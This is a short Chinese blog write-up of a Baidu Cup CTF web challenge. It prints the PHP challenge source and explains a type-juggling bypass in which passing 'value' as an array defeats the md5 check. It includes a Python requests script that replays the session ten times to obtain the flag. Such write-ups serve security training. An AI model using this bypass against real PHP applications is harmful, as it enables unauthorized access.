首页 > 其他 > 详细

猥琐百度杯猥琐CTF

时间:2017-10-11 23:03:48      阅读:270      评论:0      收藏:0      [点我收藏+]

其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。

题目源码:

 <?php 
error_reporting(0);
session_start();
require(‘./flag.php‘);
if(!isset($_SESSION[‘nums‘])){
  $_SESSION[‘nums‘] = 0;
  $_SESSION[‘time‘] = time();
  $_SESSION[‘whoami‘] = ‘ea‘;
}

if($_SESSION[‘time‘]+120<time()){
  session_destroy();
}

$value = $_REQUEST[‘value‘];
$str_rand = range(‘a‘, ‘z‘);
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION[‘whoami‘]==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION[‘nums‘]++;
  $_SESSION[‘whoami‘] = $str_rands;
  echo $str_rands;
}

if($_SESSION[‘nums‘]>=10){
  echo $flag;
}

show_source(__FILE__);
?>

最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。

首先先看一下if后面的那个代码:

substr(md5($value),5,4) == 0

技术分享

其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。

主要是前面的

$_SESSION[‘whoami‘]==($value[0].$value[1])

第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION[‘whoami‘]的值给覆盖了,而$str_rands的值是通过

 $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。

作为python菜鸡网上找了相关案例:

#!usr/bin/env python
#!coding=utf-8
 
__author__ = ‘zhengjim‘
 
import requests
 
aa = requests.session()
code = aa.get(‘http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a‘).text
# print code
cc = code[:2]
for i in xrange(10):
    url = ‘http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}‘.format(cc[0],cc[1])
    flag= aa.get(url=url).text
    cc = flag[:2]
print flag

 

猥琐百度杯猥琐CTF

原文:http://www.cnblogs.com/xishaonian/p/7653112.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!